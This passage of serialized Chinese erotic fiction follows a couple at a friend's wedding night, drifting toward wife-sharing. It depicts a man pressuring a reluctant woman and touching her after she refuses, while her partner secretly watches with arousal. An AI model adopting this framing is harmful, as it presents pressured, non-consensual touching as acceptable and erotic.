我很快就发现了房子里的气氛有些尴尬,曈曈总是似有若无的回避着王哥,王哥的话她也不再接茬,也总是侧在我身后,用我的身体挡住王哥偶尔飘去看她的目光。我觉得刚才一定发生了什么,难道真的他们在浴室里做了?脑子里有些恍惚。

好一阵子才将思绪拉了回来。我决定等晚上有时间了,我一定要向曈曈问个明白。我不知道让我心里十分不舒服的感觉,是因为王哥可能和曈曈发生了关系呢,还是因为曈曈对我的刻意隐瞒。所以我很希望曈曈能够和我坦白。

王哥说时间差不多了,出去吃饭的大伙可能也快回来了。原本帅帅说晚上组织大家出去活动的,K歌或者去蹦迪。只是梅婷这个状态不知道能不能去。 梅婷表示不想出去,毕竟新婚之夜的。去处玩又要喝点酒,晚上回来就不知道几点了。曈曈也在一边附和着说要早点休息的。

王哥到:"晚上不出去的话,我们可就要真的闹洞房了啊!"一句话将曈曈的梅婷的小脸蛋都说的通红,这别有意味的话当着我的面说了出来的时候,我还正在走神,想着晚上怎么拷问曈曈呢。

闲话略去,众人吃饭归来已经是晚上八点了。听到王哥说梅婷不想出去玩,那么大伙一致决定了要闹洞房,这一下人多了去了。一堆人站在房子里,也真是够拥挤的。

我一直有些担心的把曈曈拉到我的身后,并且站在了人群的最外围。我担心的场面却并没有出现,我仔细的观察了半天,发现了其中的原因。并不是每个男人都是有色心有色胆的。这里的男人虽然个个都想打徐萌和曈曈的主意(敢不敢打梅婷的主意我就不得而知了),但是人一旦很多,没那个色胆的不说,就是有色胆的也会收敛很多。毕竟绝大多数人都只是想占占便宜,而没有胆子想真正的把女人搞上床。

还有一个重要的原因就是,伴郎王哥没有做出任何指向伴娘的游戏,而是把焦点都引向了新娘梅婷。面对着新郎,总还是不敢闹的太过分的。最多也只是要新郎新娘做一些接吻啊,或者某些性爱的姿势来取笑他们而已。

王哥对曈曈的隐隐维护,让我不自觉的想起刚才卫生间发生的事情,难道被王哥占有之后,他便对曈曈有了保护欲?想到此处我悄悄的在曈曈的耳边问道:"王哥好像,有点特别照顾你的意思啊,都没有让你做下午那样子的游戏。" 梅婷被他们强迫着摆出观音坐莲的姿势,曈曈可是看的是面红耳赤的。真不知道这个小妮子和我一起看A片都有两三年的历史了,看看这种意淫的小游戏也会这么害羞。

被我的问题吓了一跳,曈曈又是在我的胳膊上使了一招二指神功。疼的我是龇牙咧嘴的,看来这小妮子绝对有事情瞒着我,否者怎么手上这么不知轻重的。 "你想什么呢!我和王哥能有什么啊,你是不是又想着我被这群男人意淫猥亵,你心里就舒服啊。"曈曈心虚的佯怒着。

"我就问问么,拧的我疼的,我就是觉得好像王哥没有像下午那样针对你了么。是不是你给王哥说什么好话了,让王哥放过你了!"我说完仔细的观察着曈曈的表情。

曈曈有些凝重的问我:"是不是你怀疑我什么了,还是王哥和你说什么了? "

看到曈曈的严肃的表情,我突然有些不知该怎么回答。我吃不准曈曈是真的生气我的问题,还是怕我知道了他们在卫生间里发生的事情。沉默了几秒钟,我看到曈曈执着的盯着我的眼睛,下意识的有些回避。只好岔开话题的开着玩笑:"怎么生气啦,我和你开玩笑呢,你看下午游戏玩的那么开放我都没有怪你,没有怀疑你什么。就是真的发生了什么…"这句话刚说出口,我就意识到不对了。 也许平时任何的情况下,这样的话都不会有什么影响,可是在这个环境下,这么说不是承认我在怀疑曈曈么?

曈曈有些失神的看着我,目光仿佛失去了焦距一样,我没有想到她会有这么强烈的反应。正想解释什么,曈曈却率先开口了:"我以为你是真的喜欢我那样,我以为你不在乎的,以为你能信任我的。老公!"

我被曈曈问的哑口无言,难道对曈曈说,我看到了王哥在你洗澡的时候进了浴室,呆了很久都没有出来么?现在我倒是真有搬起石头砸自己的脚的感觉了。 失去了继续看他们闹洞房的兴致,我和曈曈没有知会任何人,悄悄的退出了新房。

梅婷他们住的这个小区还是很不错的,虽然我不知道新郎陆文帅是做什么的,但是买得起这个小区的房子,至少也是很有钱的。小区里的绿化非常好,假山假水的什么都不缺,还有一片不小的人造林。这会倒是没有什么人在里面,毕竟树底下草丛里蚊虫还是很多的。

沉默的我们坐在了人造林旁边的长椅上,曈曈只是轻轻的靠着我的肩膀。 正是这样幽静的环境,让我的心也沈静了下来,这一天来的刺激,让我一直都没有好好的思索过。这样的游戏真的应该继续的么?闻着曈曈的发香,我才意识道,我们并不是网上那些交换温柔的老手,不是那些能够突破所有的束缚的他们。我和曈曈,或者是只有我。一直向往着、幻想着、引导着曈曈。虽然慢慢的曈曈也接受了那些开放的想法,但是她真的是喜欢这样子么?还是只是为了满足我呢?

不管怎么样的想法,在今天之前。我们都从来没有过现实的行动。也许不是今天这样的情况,我们一辈子都无法跨出那一步。今天的得意忘形让我忽略了我们还不是个中老手,我们并没有做好充分的准备接受这一切,曈曈是这样的,我也亦然。

我们默许的态度,让事情一步步的演变。王哥有心也好、无意也好,正好钻了我们这个空子。对于徐萌,我却是无话可说的,我承认自己看不透这个女人。 许久的沈静被靠着我的曈曈打破了:"老公,有没有想过,我真的和别人发生关系了,你会不会发现自己其实并不想我那么做的?会不会自己很介意我的肉体被别的男人占有?"

我无法准确的回答曈曈,因为她和王哥在卫生间里发生的事情,始终是我心头里压着的石头,他们是否真的发生了关系呢?如果是真的,我的回答若是我介意的话,那么曈曈是否会寒心呢?毕竟是我把她引到了这条路上的。如果没有发生关系的话,我回答不介意,那么是不是意味着我将默许着,游戏还会继续进行下去。

由于了很久我的,决定两全想衡取其轻。不管怎么样,我都不能寒了曈曈的心,自己决定的路就要有勇气承担下去。不管怎么样,我都会爱着曈曈,娶她为妻么?我给自己了一个肯定的答案。

"老婆,其实可能有些时候也会有一些后悔,有一些后怕。但是我后怕的不是你是否和别的男人发生了关系,而是害怕你的心因为这些事情而变了。不管在怎么,即使发生关系,也不过是肉体上的摩擦而已,说到底和用按摩棒没什么实质的区别。而最根本的在于,和人做,是有感情互动的。我不是怕你会爱上别的男人,而是怕你会沈沦在欲望里。摆脱不开。"我深思熟虑了半天,缓缓地将我的想法表达了出来。

头发遮住了曈曈半个脸,在昏暗的灯光下,我更加无法看清她的表情。

"老公,那些刺激确实可以给身体上带来很大的享受。虽然我一直妥协着你,从最早的无法接受,到后来逐渐的接受,到今天这么的放肆。最早我没有依照自己的意愿去反抗,现在我没有对那样的事情有着多么大的向往,你知道么",曈曈的声音软软的:"老公,因为你,我不再抗拒那样的事情,可是不代表我就满心欢喜的去接受。我不是饥渴到看到了别的男人就想要,不是一被挑逗就无法把持的人。我看到你和徐萌姐的亲密,看到我和王哥表现出来的亲密感后,你并没有反感,我那一刻觉得很幸福。因为我不会嫉妒带给你快乐的女人,因为你为了我的快乐,能舍去男人的伦理尊严。"

这一刻,我很感动。我觉得自己并没有曈曈描述的自己那么伟大,有很多私欲的成分夹杂在其中。但是曈曈还是那么的信任我,那么爱我。有此一妻,夫复何求啊。

我吻了吻曈曈的额头:"老婆,我希望的情境中,你是因为那些而得到的快乐,而不是为了顺从我的意愿,你明白么?看到你和王哥,我依然会吃醋,依然会难受,也许我能不去介意你和别人的肉体的接触,但是我见不得你对别的男人的好。"

曈曈拱了拱头,说道:"傻老公,你才是我老公。就像你说的啊,如果以后真的发生什么,我也只当他是一个按摩棒,我怎么会对按摩棒发生感情呢?我知道你的这些话都是为了减少我内心中会产生的那些背叛感。我的傻老公啊,要是两年前,我早不要你了,想方设法的把我往别的男人怀里推。"

我讪讪的笑了两下,虽然我知道曈曈在思想上,早已接受了那么多的淫妻的想法,只是没想到,一旦现实中发生了,她竟然比我还要更能接受一些。可能这些都取决于我的态度吧。

只不过说了半天,浴室中,曈曈到底和王哥发生什么了没有呢?我正准备将心中一直存在的疑问抛出来的时候。几十米开外的路上传来了徐萌唿唤我们的声音"凡哥、曈曈!"

原来闹洞房闹的太过分了,梅婷把他们哄了出来。文帅让王哥带大家晚上出去K歌什么的玩。真不知道他们刚才是怎么闹的过分的,有没有占梅婷的便宜,想到这我就想到了刚才曈曈故意让我看到梅婷的大半个白白的乳房,还真是诱惑啊。

"走去K歌吧?"徐萌走到我们面前拉着曈曈的手,把她从我的怀来拉了起来。曈曈有些犹豫的不想去,难得安静的和我独处一会。正推托着,王哥走过来了。

"怎么不想去啊?"王哥问到。

看到曈曈没有接话的意思,我只好回答着:"刚才我把曈曈惹生气了,正在哄呢。要不你们先去吧!"

王哥回答:"你们怎么说都是客人,大晚上的把你们扔在这里怎么办啊?你们也没地方去,总不能一会去敲开人家的洞房吧,呵呵,文帅还让我晚上给你们安排住宿呢。"

看着曈曈实在不想去的样子,我只好又婉言回绝着:"这样吧王哥,你们先去。一会曈曈气消了,我们打车去找你们。"

"也成。"王哥没有再纠缠,拉着徐萌往外走去。没几分钟的功夫,我还没有绕回刚才想问的话题上,王哥又拉着徐萌回来了。

"我让黑子他们先去了,我和徐萌过来陪陪你们,哈哈,把你们单独扔这里实在放心不下啊,一会你们推脱不去了,文帅还不得按我个招待不周的罪名啊。 "王哥远远的就开始说道。

哎,我心里暗叹一声,和曈曈有个独处的时间可真困难,这个王哥还真是锲而不舍的。

【人生如梦——女友做伴娘】(13)

徐萌拉着曈曈坐到了椅子上,我把赶了起来。看着我对她翻了翻白眼,徐萌气不过的说到:"看什么看,想继续占老娘便宜啊,你们两个臭男人一边说话去,不要打扰我们姐妹谈心。"明显是你打扰我们好不好,我心里暗暗想着。

王哥发给我一支烟,帮我点上。我们两个男人就在小区的院子里散起步来。 虽然两个大男人散步感觉有点怪,不过正好借助这个机会,我决定向王哥问个明白。

"王哥,你觉得曈曈是一个什么样的人?"实在找不出好的开场白,我只好随意起了一个话题。为了避免我的问题再被一些突发事件打断,我觉得直接以曈曈开头,开门见山,长话短说。

王哥使劲吸了一口烟,烟头的火光猛然亮了一下,又暗了下去。"今天我问了曈曈,我比你长几岁,叫你老弟好了。"看完没有反驳,又继续说道:"老弟,其实我看的出来你的心理。曈曈是一个好女人,你应该好好对她的。我是真的挺喜欢她的,不过我不是说那种要横刀夺爱的喜欢。下午和你小聊了几句,也说到了。"

我心里泛起一种难受的感觉,强行的压制住了,回答道:"可是曈曈是我的老婆,你这么直白的告诉我你喜欢她是什么意思!"

"既然她是你的老婆,那么你今天怎么会眼睁睁的看着她和我们做游戏而不阻止呢?为什么你还会背着她和徐萌发生了关系呢?"王哥两个问题有点让我恼羞成怒了。

"这是我的事情,曈曈洗澡的时候,你进去了那么长时间,究竟做了什么? "我恼怒之下问出了最想问的问题。

王哥并没有直接回答我:"老弟,所以我开始的时候我说我看出了你的心理。 我不是一个缺女人的男人,也不是一个看到了漂亮女人就想弄上床的人。从做游戏开始,我就在试探你们两个人,某些角度上说,你和我属于一类人。" 这样的论调我在徐萌的口中也是听到过了,我没有打断王哥的话,只是继续听他讲下去:"中国现在有了很多的换妻的群体,想必老弟也是知道的,这种观念其实很奇怪的。自己的女人就是自己的财产一样,容不得别人侵犯,可是现在却有这么些人,似乎觉得戴绿帽是一种享受。"

王哥看到我没有插话,掐灭了抽了一半的烟,继续说:"其实那种聚会我很早就参加过,我所说的都是事实。一般这种人从心里上可以分为两种,一种是身体上有点缺陷,或者老婆欲望太强烈了。这种人久而久之就会才产生畸形的欲望,希望满足自己的老婆,从而自己也能得到快感。另一种人则是对待性的态度不同,认为性是带来快乐的产物,而不是私密的不可告人的事情。当然大部分人都是肉体上的刺激和心理上的开放并存的,否则就不可能认同这样的事情。"

王哥像一个循循善诱的老师一样,但是显然说中了我的内心,我对性的态度逐步的开放,又能在淫妻的事情上得到极大的刺激和满足。这样的心理让我自己都觉得有点变态。

王哥继续说:"为什么明知道这样的事情是错误的,还会有人乐在其中呢? 因为它确实是会让人快乐的,但是只是针对某一类的人,就比如爱吃辣子的人认为辣子很香,甚至无辣不欢。可是吃不了辣的人认为吃辣子就是一种折磨。所以能在性态度开放的前提下,并且乐意和自己老婆一起享受的人,就像是爱吃辣子的人一样,都是一类的人。"

"那你的意思就是我和你都属于这样的人了?"我终于忍不住问道。

王哥继续回答我的问题:"当然了,只是你无法跨出那一步,因为曈曈是个好女孩,你怕毁了她,毁了你们。今天我不时的试探你们的态度,明显感觉到你的犹豫和挣扎。"

内心的想法被人赤裸裸的揭露出来的感觉不是很好受,我可以否认王哥的说法,可是不能否认自己的内心。

"你还没有告诉我,你们究竟发生了什么!"我继续问到。

王哥笑了笑:"你为什么不去问曈曈呢?她告诉你答案才是最好的,我和你说了这么多,是希望你如果真的走上了这条路,就一定要保护好曈曈,绝大多数的女人都不是天生的淫娃,没有女人说见了男人就忍不住要上床的。所以曈曈是因为爱你,才会愿意接受你的想法。可是接受归接受,有些女人尝试之后,就会成为噩梦般的存在,永远也不愿意再次尝试,有些女人却又乐在其中,和自己的老公感情更加好,这也是一个很奇怪的现象吧。"

我有些不解的问道:"你说这些是什么意思呢?想告诉我你是个可以给曈曈带来快乐,又不会伤害我们的人么?"

王哥继续说到:"也许你觉得很多事情都是我设计好的,画了圈子让你跳,其实我只是在适当的实际做了一些顺水推舟的事情,如果你不是我说的我们这类人,那么那些事情早就终止了啊。我只是想知道,你是不是能接受和我们一起享受快乐的人,而曈曈是不是也会认同你,不光从思想上,而是包括能够付诸行动的。要知道很多女人或许思想上可以认同,但是现实中却怎么也做不到的。" "那么你认为曈曈现实中能做到?"我继续追问。

"我不知道啊,所以我才试探着你们,也包括试探着曈曈。这种事情又不是可以强迫的来的。这样的游戏,你愿意加入么?"王哥很认真的问我。

虽然我总觉得似乎是被王哥引诱着走到了这一步,可是我的内心真的很想知道,曈曈究竟是怎么样的女人。

"我的态度取决于曈曈的态度。"我也很认真的回答道。

"那你就配合我吧,如果曈曈有不情愿的时候,我们就停下来。"王哥望着她们坐着的方向说道。

我这是在和别的男人一起算计我的老婆么?有些刺激,又有些害怕。曾经我无数次幻想的过程会就此展开么?可是走到了这一步,我确实不知道自己还能不能退了,不是没有办法又退路,而是我根本没有办法压制自己已被勾起来的欲望。 可是王哥,这个人可信么?

聊完天的我们,又走回了小树林旁边。曈曈和徐萌聊得正开心,无非就是一些购物啊,化妆品之类的女人的话题。看到我们走回来,曈曈开心的跳起来拉着我的胳膊:"老公,徐萌姐说要送我一小瓶卡地亚的香水呢,好贵哦。"看着曈曈的兴奋劲,才发现这东西对女人的吸引力还是大啊。不过徐萌这女人,是什么意思呢?

徐萌似乎发现了我的疑问,过来讽刺了我两句:"都不知道给曈曈买点像样的东西啊,怎么当老公的啊。"

毕竟乘人之情,我之后尴尬的回笑两声。徐萌得理不饶人的继续道:"我和你的委屈小媳妇说话都说渴了,还不去给我们买点饮料过来。"我正准备拒绝,就听徐萌威胁似地说了一句:"我药还没有吃呢!"

这句话吓得我直接落荒而逃了。王哥说陪我一起去,被我拒绝了,我怕他趁机再对我进行洗脑。走到小区门口的商店的时候,正在挑饮料,谁知徐萌突然冒出来了。上来就亲切的挽着我的手,把我吓了一跳。

"跑这么快干什么啊!我还没有说我要喝什么呢。"徐萌一脸的调笑。

买好了饮料,她还是挽着我的胳膊,没有松开的意思。我只有一路放慢速度。 对待这个女人,毕竟我还是很理亏的。如果下午才个人家上完床,晚上就摆出一副六亲不认的样子,恐怕我一定会被她报复的。

"王哥在哄曈曈呢,女人不是一下子就能接受那样的事情,就算嘴上接受,心里接受,可是行动上还是要男人的鼓励和支持的。"徐萌不开口则以,一开口就吓我一跳。

"王哥让你给我说的么?"我问这话的时候,估计脸有点黑。

"想什么呢,明眼人一看就看出来了好不!曈曈告诉我你们的事情的。"徐萌瞪了我一眼。

"啊,曈曈怎么会给你说。"我觉得自己有些晕。

"女人的心里话当然会跟女人说啊。说给你们男人你们也不懂的。我今天见你们的时候就知道你们还是个没有实际行动的幻想派,只是我也没想到你们在今天能放得那么开!"徐萌边说边用我的胳膊蹭着她的胸部。

还真是,让我无语啊。我的那么隐私的心理,被王哥和徐萌两个人这么毫不在意的轻而易举的揭开了。让我有点无地自容的感觉。

于是我决定给她一些反击:"我有个问题想问你!""说啊,本姑娘替你答疑解惑。"徐萌说道。"你一共和几个男人上过床啊?"我不怀好意的问道。 意料中的怒气冲天并没有出现,徐萌只是愣了愣。停止了用胸部挤压着我胳膊的举动,缓缓的说着:"我的两任男友,文帅、王哥、还有你。"没想到徐萌竟然很认真的回答我。

徐萌继续说到:"喜欢性爱,不代表就是和谁都可以做的,男人爱说女人淫荡,淫荡应该是一种性享受的表现,而不是一种生活态度。我的故事以后有机会了再说吧,倒是曈曈,你一定要负责到底哦。"

很久以后,我都记得徐萌的那番话,我总觉得那些话带给我一些很忧伤的感觉。是那些话得原因,或者是对徐萌这个人!

我一直拿不准王哥是一个什么样子的人,但是他的出现将在淫妻路口徘徊的我向前推了一把。

和徐萌拿着饮料走到半路上,突然就很想知道单独相处的王哥会跟曈曈灌输什么样子的思想。而我也终于知道为什么那么多淫妻的小说中,总会有偷窥的情形,那种偷窥带给心里的刺激绝对是很疯狂的。

想到便去做,向徐萌讲了我的想法。她也一副跃跃欲试的样子。于是我们没有沿原路返回,而是从楼的背后绕道了小树林的另一端,借着黑夜的掩护,俯身慢慢靠近了王哥和曈曈做着的长椅后面。刚好长椅后面的一排一米多高的冬青,为我们提供了最好的掩体。

蹲在冬青树下,我和徐萌都尽量的压低唿吸的声音。但是我的心跳却越来越快了。

"曈曈啊,刚才小凡跟我聊了半天呢。他一直想问我你洗澡的时候我给你送衣服的情景。"这是王哥的声音,没想到刚一来我就听到了我最想听到的话题。 "王哥!能,能有什么啊~怪不得他下午一副吃醋的样子。他怎么能让你把衣服给我拿进来么!"曈曈的声音有种异样的感觉。

"呵呵,曈曈害羞了啊,好身材下午都被我们看遍了,不过还是没有洗澡的时候看着刺激啊,不过重要的地方你都用手挡着,还是看不到啊。"王哥的声音透着一股淫邪。

"呀,别说了王哥。要是让我老公听见,还真以为我们发生什么了呢。"曈曈的话终于让我放下了心中的石头,看来浴室之中并没有我想象的那样,只不过王哥看了曈曈洗澡?想到这里,我心有也有一股欲火慢慢的烧烤着。

"呵呵,我不是敲门了么,说给你送衣服呢啊。小凡说让我交到你的手上的。 我要是不敲门直接闯进去,那才吓坏你呢!"王哥用我的名义在圆谎。我的心跳却在继续加速。

曈曈羞得已经说不出话了,王哥继续说到:"不过我告诉你个秘密啊,我给你送衣服进去的时候呢,小凡也回到屋子了,而且看着我进卫生间的呢!" "啊?"曈曈应该是一脸的不相信的样子吧。

"而且我进去之后,没有直接叫你呢,站在外间等了二十多分钟的,虽然隔着玻璃门看不清里面你洗澡的样子,可是想想曈曈赤裸的在里面洗澡,就离我几米的距离,搁着薄薄的一扇玻璃,还有隐隐约约看到的身影,我在外面站了二十分钟,下面可是硬了二十分钟呢!"王哥竟然对曈曈说出了这么大胆的话!也终于让我知道了浴室内真正发生的事情。

"王哥,你,你怎么能这样啊。"曈曈有些气急的样子。

王哥却仍旧不紧不慢的说着:"曈曈别着急啊,你想想,是小凡让我进去的啊,我是故意在外面等着呢,就是想看看你老公他到底会不会进来。他没有进来意味着什么呢?你有没有想过他的想法啊?"王哥在诱导曈曈。

这种偷窥实在是太刺激了,我虽然听到王哥调教曈曈的时候,心里还是会很不舒服,可是下面的渐渐勃起却表现出了我身体的反应。而徐萌突然把手放在我的两腿中间翘起的那部分时,我差点没忍住哼出声来。

"王哥,真的,真的是我老公让你进来的么?"曈曈的声音有些失神。

"是啊,他如果不允许的话,早就冲进来了对不对。如果我们两人在浴室里呆了那么久,一个正在洗澡的美女,一个正常的男人,会发生什么事呢?你老公在外面会怎么想?他应该是在默许什么吧!"王哥的意图我已经了解了,是想用我的态度来逼着曈曈表态。会怎么样的?我那时的心情是凌乱的。

王哥看到曈曈没有说话,又继续引导着:"小凡一直想让你享受那种特殊的快乐,但是却又无法走出那一步,其实你们之间有过沟通的吧。我的出现给你们带来了这个机会,对你们来说,我其实算的上一个陌生人。虽然你们有那样的想法,可是我也不会逼迫你们,一切的发展顺其自然的最好。"

曈曈显然被这种别的男人的露骨的语句吓住了,不知道该做什么反应好。 王哥悉悉索索的做了些动作,我不敢站起身来看,只好自己猜测着,知道王哥说话,我才知道了他把自己的外套披在了曈曈的身上:"夜里有点冷,穿上点吧。"

"王哥,别!"曈曈抗拒的话语,语气却是十分的无力。

"让我抱一下,我其实很喜欢你的,曈曈。你每次害羞的表情总是让人想入非非的,而且最难得的就是你可以接受这些在外人看来,很疯狂很无礼的事情。 你老公有你真好。"随着王哥的话语曈曈挣扎的声音渐渐弱了下去。

"我老公一会就回来了。"曈曈语气有点像是在哀求。

"他不会生气的,不是么?可能心中会吃醋,可是如果看到这个画面,说不定更大的是刺激呢。你不想看看他的反应么?"王哥一步步的引诱着曈曈。 曈曈不再挣扎,也没有说话。两个人就这么安静了下来。可能过了那么几分钟的样子吧,我的腿已经蹲麻了。可是不敢有半点的动静。徐萌可能也和我一样,腿麻的已经没有继续调戏我的动作了。

"他们,怎么还没有回来。"是曈曈柔柔的声音。

"说不定徐萌调戏你家老公着呢,徐萌可是看上你家老公了啊,很想把他吃掉呢!"王哥戏谑道。

我得意的看了徐萌一眼,换来的是一连串的白眼。

"啊!不要。"曈曈突然站了起来。我心头一惊,不知道王哥做了什么。 "对不起,我抱着你想到了你下午洗澡的时候的情形了。我拉开门,你捂着胸部蹲到那里的样子。咪咪都被你压的扁扁的,你脸红的像苹果似地。"王哥边说也边站了起来,走过去继续抱着曈曈,"想到那个画面我就想摸一下,曈曈,你有一种古典美呢!"

"嗯咛"曈曈娇唿了一下,有个短暂的两秒钟时间,我正准备冒险的探头看一下,就听曈曈急退两步的脚步声,"不可以这样子,我…老公,我现在不能这样做。"

王哥没有继续纠缠下去:"不要怕啊,我又不会强迫你的。否则在浴室里面我哪会放过你啊。曈曈你老公真的很有福气啊,很软哦。哈哈"

"你!不许告诉我老公。"我听不出来曈曈的声音中有没有生气的成分,只是她的唿吸声实在比我的心情还凌乱,"我去找他们去呀。"

说完话,曈曈脚步声就响起来了,而王哥也随后跟了去。

一屁股坐在地上,我的腿已经麻的站不起来了。徐萌也侧坐在草地上,用手揉捏着双腿,眼光瞟向我:"真是场好戏哦。"

我懒得理她,只是敲打着麻木的腿,麻痛感缓解一点后强忍着站了起来:"赶快起来吧,一会他们找不到我们就回来了。"

我们两人相互搀扶着,坐到了长椅上,等待着他们的去而复返。

【人生如梦——女友做伴娘】(14)

果然不出我所料,王哥和曈曈找不到我们,又走了回来。我仔细的观察了曈曈的神态,无奈灯光实在太昏暗,看的不是十分真切,不过曈曈却似乎有意的保持着和王哥的距离。而且身上也没有再披着王哥的外套了。

"你们去哪了啊?"没有等他们说话,我就主动开口了。而徐萌看到我演戏的样子,坐在那里咯咯咯的直笑,我扭头瞪了她一眼。

"找你们去了,看你们半天没有回来。"王哥接话到。

"哦,我们走楼后面那条路走过来的,应该是走岔了。"我假装分析着。 "咦,你们买的水呢?"曈曈走过来搂着我的胳膊,看到买水回来的我们赤手空拳的。

糟了,我立马反应山来。刚才光顾着在冬青树后面偷看了,怕拎着水的塑料袋发出声音,就放到后面的草坪上了。总不能带他们去后面草坪上拿啊,那不就露馅了。

我还没有想好怎么回答,徐萌笑的越发的花枝乱颤了。在大家莫名其妙的看着她的时候,她替我圆了谎:"哦,走路上小凡调戏我呢,就闹到湖里了。"我勒个晕啊,掉湖里就掉湖里呗,还说是我调戏她。我连忙解释着:"别胡说啊,我可没有调戏你。"徐萌似笑非笑的看着我,直到看的我有点心虚。我看了看怀中的曈曈,她似乎听到调戏两个字就抛锚了,后面我的心虚完全没有看到。仔细一想,就知道她肯定是想到王哥刚才调戏她了。

看了看曈曈透着纱裙看到的黑色胸罩,不知道王哥刚才摸的时候,是隔着衣服,还是把手伸进去了呢?

"闹了半天还是没有水喝。"徐萌这小妞率先发起牢骚了。

王哥突然说道:"曈曈是不是真的不想去唱歌啊!"曈曈这才愣过神来,疑惑的点了点头。那地方乌烟瘴气的,都是一群大男人,去了说不定还要叫叫公主什么的。我内心也是不想让曈曈去的。

王哥坏笑了起来,一直笑到我心里都看是发毛的时候才开口:"好歹咱也是伴娘伴郎,今天是帅帅的洞房花柱夜啊,不闹闹洞房怎么说得过去呢?"我有点疑惑的看着王哥:"不是说刚才梅婷把你们赶下来了么?"我又想起了梅婷那大半个胸酥。

"是赶出来了啊,小两口急着洞房呢么!可是出来又不带表我就回不去了! "王哥继续说到,然后随手拎出来了一串钥匙。

靠,原来这家伙早就有钥匙,估计下午浴室那个场戏,王哥回来的时候就开门进来了,根本不用徐萌留门。我当时就还奇怪呢,我们进门不关大门的话,我应该有印象的。

"这个是新房钥匙啊,你怎么有呢!"曈曈小声惊唿了一下。

"这房子装修的时候,都是我时常过来监工的。装修完文帅就给我一把正式钥匙。"王哥还是那么坏坏的笑着。

"你早就预谋好的啊!"我恨恨的说道。

"什么预谋不预谋的,你们要是同意去唱歌,咱们现在都在KTV里面坐着了,这不都不愿意去么,我只好给咱们想点节目了。"王哥一脸的无辜。

"好诶,这个刺激啊。不知道帅帅和新娘子现在有没有开始盘床大战啊。我一定要上去看看。"徐萌这妖精又开始闹腾了。

虽然我表现的很没有兴趣的样子,其实内心也是很想去看看的,也终于明白了为什么那么多人对闹洞房这个事情这么热衷的,很能满足人的偷窥欲望和刺激心理啊。曈曈似乎也有点跃跃欲试的样子。

结果当然不用说了,我们一行四人又悄悄的返回了楼上新房。

我们四个人像做贼一样,蹑手蹑脚的悄悄打开了新房的大门,屋里面的灯都被关掉了。我拉着曈曈的手,曈曈紧张的一手的汗。

还好屋子里不是很黑,王哥和徐萌在前,我和曈曈殿后,换了鞋子,轻轻的往新房走去,连唿吸声都不敢太重。我这种感觉刚才在下面我已经体会过一次了,这会竟然有点轻车熟路的意思。

主卧的门没有关,灯也是黑着的。我们四个人在门口探着头看了好一会。只是偶尔听到床上悉悉索索的声音,没有开战的意思啊。难道已经大战完了?没有这么快吧,我心里一直琢磨着。

徐萌率先忍不住了,冒着腰熘到了床边王哥在猫着腰进了门。我和曈曈则暗中不动。

徐萌趴床边研究了好一会,给了个手势让开灯。王哥明白意思以后,立马按开了大的灯得开关。等开的那一刻伴随的是徐萌一声娇喝:"抓奸!"只听徐萌的声音未落,梅婷的声音就爆发出来了"啊!"猛开了灯,眼睛有个一两秒中的适应过程。看到床上坐起来的两人,我心里直唿变态。

两个人都穿着睡衣,完全没有要开战的样子,洞房花烛夜啊,两个人不会就像这么睡过去吧!

梅婷爬起来狠狠的拧了王哥一下:"你个死小王,想吓死你姐啊!"王哥嬉皮笑脸的受了。

我心里有点不爽,辈分乱了啊,梅婷叫王哥小王,我又叫他王哥!

文帅拉开了再王哥身上泄愤的梅婷:"都告诉你们,说不定他们今天晚上就来了,让你做好心里准备的么,哈哈。"原来新郎早知道有这么一出,这是摆好了架势等我们呢!好好的一场春宫戏也没看上。

看到曈曈,梅婷跑下床过来把她从我身边拉了过去:"你也来看我笑话啊! "曈曈只是嘿嘿的干笑着。

王哥打了句哈哈,然后说:"既然大家都来了,总得有什么节目吧,可别想在把我们哄出去了啊。"新郎道:"就你一肚子坏水,估计今天不打发了你,我们是过不安生了!"王哥收起了嬉皮笑脸:"首先让新郎新娘给我们讲讲他们的认识经过吧,什么时候认识的啊,什么时候确定关系的啊、什么时候发生关系的啊!""滚!"梅婷打断了王哥下面的话。

闹归闹,最后我们一行人还是在房间找地方坐了下来,三堂会审似的开始询问起一对新人来。

王哥时不时的冒出一段荤段子,梅婷就会紧接着发飙,新郎倒是一副无所谓的样子。看着闹别人的老婆,我虽然很兴奋,而且没有任何的心理压力,可是却不会觉得向刚才看到王哥调戏曈曈那样的刺激。

也就是两根烟的功夫,基本上梅婷和文帅从认识到结婚的经过就说的七七八八了,那些无聊的小节目,类似什么啃苹果什么的,估计大队人马前面已经闹过了。王哥一副绞尽脑汁的姿态,不停的给新郎新娘出着难题。

曈曈坐在我的旁边,慢慢的开始在我耳边说一些以后我们结婚会怎样的情形的话,我也渐渐和她小声聊了起来。正聊的曈曈满脸向往的时候,王哥打断了我们俩得小甜蜜:"曈曈,新郎新娘正在做庄重的表述呢,你怎么能打断他们呢。 "其实我们声音并不大,而且也没有搅乱气氛,看来王哥是想把我们也搅进去。

曈曈有些不好意思:"继续,继续。我不说话了!"王哥却依旧不依不饶的:"不行,犯了错误怎么能不惩罚呢。你打断新郎的发言,作为补偿,就陪新郎跳一支舞吧。""啊?"曈曈有些不明白怎么扯到自己身上了。

在王哥的继续怂恿下,文帅拍了拍梅婷的手背。站起来向曈曈邀舞。曈曈看了着我,我只好点点头。她便伸手被文帅拉了起来。

"卧室太小了,咱们转战客厅吧。"王哥的建议被大家认同后,一群人起来去了客厅,打开了音乐。将灯光调的很暗。文帅拉着有些脸红的曈曈,在客厅中央跳起了交谊舞。

舞曲一起,也许是那时的气氛很好。徐萌走过来把我拉起来,搂着我的脖子,也踩起了鼓点。我还只是在上大学的时候学过交谊舞,后面就再也没练过,一时有些手忙脚乱。徐萌却将两个手都搂在我的脖子上,头靠在了我的胸前,按着节奏转换着双脚的步伐:"就这样跳。"我看了看有些刻意和新郎保持距离的曈曈,并没有十分在意徐萌对我这么亲密的动作,于是双手扶在徐萌的腰上,脚上也随着音乐的节奏摆动着。

不一会,王哥也以一个标准的邀舞动作,将梅婷也拉入了舞池。

这是什么?三人交换么?我脑子闪过一些很邪恶的念头。

舞曲是一曲接着一曲的,我们三人又换了两回舞伴。当王哥搂着曈曈跳舞的时候,我的注意力几乎全都放在了他们身上,只是王哥这次并没有什么出格的动作。

可能有跳了四五首舞曲的样子,大家都比较累了。就都坐在沙发上,继续放着轻柔的舞曲音乐,王哥和新郎又拿出了两瓶红酒。

王哥实在是一个很能说的人,口才十分的好。六个人坐在这里几乎一半时间都是他在说话,而且并不会让人觉得枯燥。曈曈懒懒的赖在我的怀里。小脸又喝的红扑扑的,煞是好看。

